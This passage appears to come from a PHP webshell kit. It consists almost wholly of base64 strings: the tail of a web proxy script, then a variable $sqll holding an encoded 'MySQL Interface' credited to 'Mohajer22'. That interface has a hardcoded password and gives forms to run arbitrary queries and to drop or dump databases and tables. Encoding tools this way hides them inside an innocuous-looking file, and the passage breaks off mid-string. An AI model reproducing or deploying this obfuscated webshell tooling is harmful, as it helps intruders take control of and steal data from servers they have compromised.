gdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo="; $sqll="PD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5BTUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25f ZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxz Jyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9 CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJ UCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRI VFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVY VFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0 KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2Jh bCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7Cglz ZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7CglzZXRjb29raWUoICJteXNx bF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9 MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRy Pjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxj ZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIEludGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFq ZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hv ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5c biI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8g Ijx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFt ZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFt ZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7 CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBu YW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8g IjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBl PXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8 L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+ PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVy PjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xv YmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9zdG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0 bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxf d2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1lICk7CglzZXRjb29raWUoICJteXNxbF93ZWJf YWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1p bl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNo IENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1 bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJ aWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0gIlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAh PSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0 ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5S ZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxu IjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNlcygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUs ICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJhc2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8 Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5h bWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFt ZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0 YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0 YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0 X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZv ciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSgg JHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7 CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9 JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF TEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJt KCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hv ICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9u Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1 bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK fQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJu YW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg KTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rpb24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFs ICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5h bWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFi bGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hv ICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h bWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBf U0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNy ZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1 ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4i OwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVj aG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNo byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8g IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8g IjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5w dXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5cbiI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNo byAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxfbGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglp ZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0gbXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+ RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9y b3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9 NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0g bXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSApOwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8g Ijx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hv ICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZk Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hv ICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9h Y3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5E YXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxh IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFt ZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFi bGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+ XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0k ZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1 bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxu IjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hvICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNy ZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwg JFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJM RSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlz cWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVy ck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRhYmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFi bGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NF TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVu YW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9x dWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigp OwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlz cWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJy TXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxv Y2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQo KTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEg aHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVu YW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVz dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h bWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxl IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAi PHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51 bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90 aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0 aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsg JGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hv ICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNo byAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsi TnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsK CQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIu JGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJd OwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9 JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwv YT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmll bGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5h bWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8n KVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxl PlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhh bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAk Y21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAk Y21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVz dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h bWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAw OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl c3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmll bGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJ CQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxk WyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVh 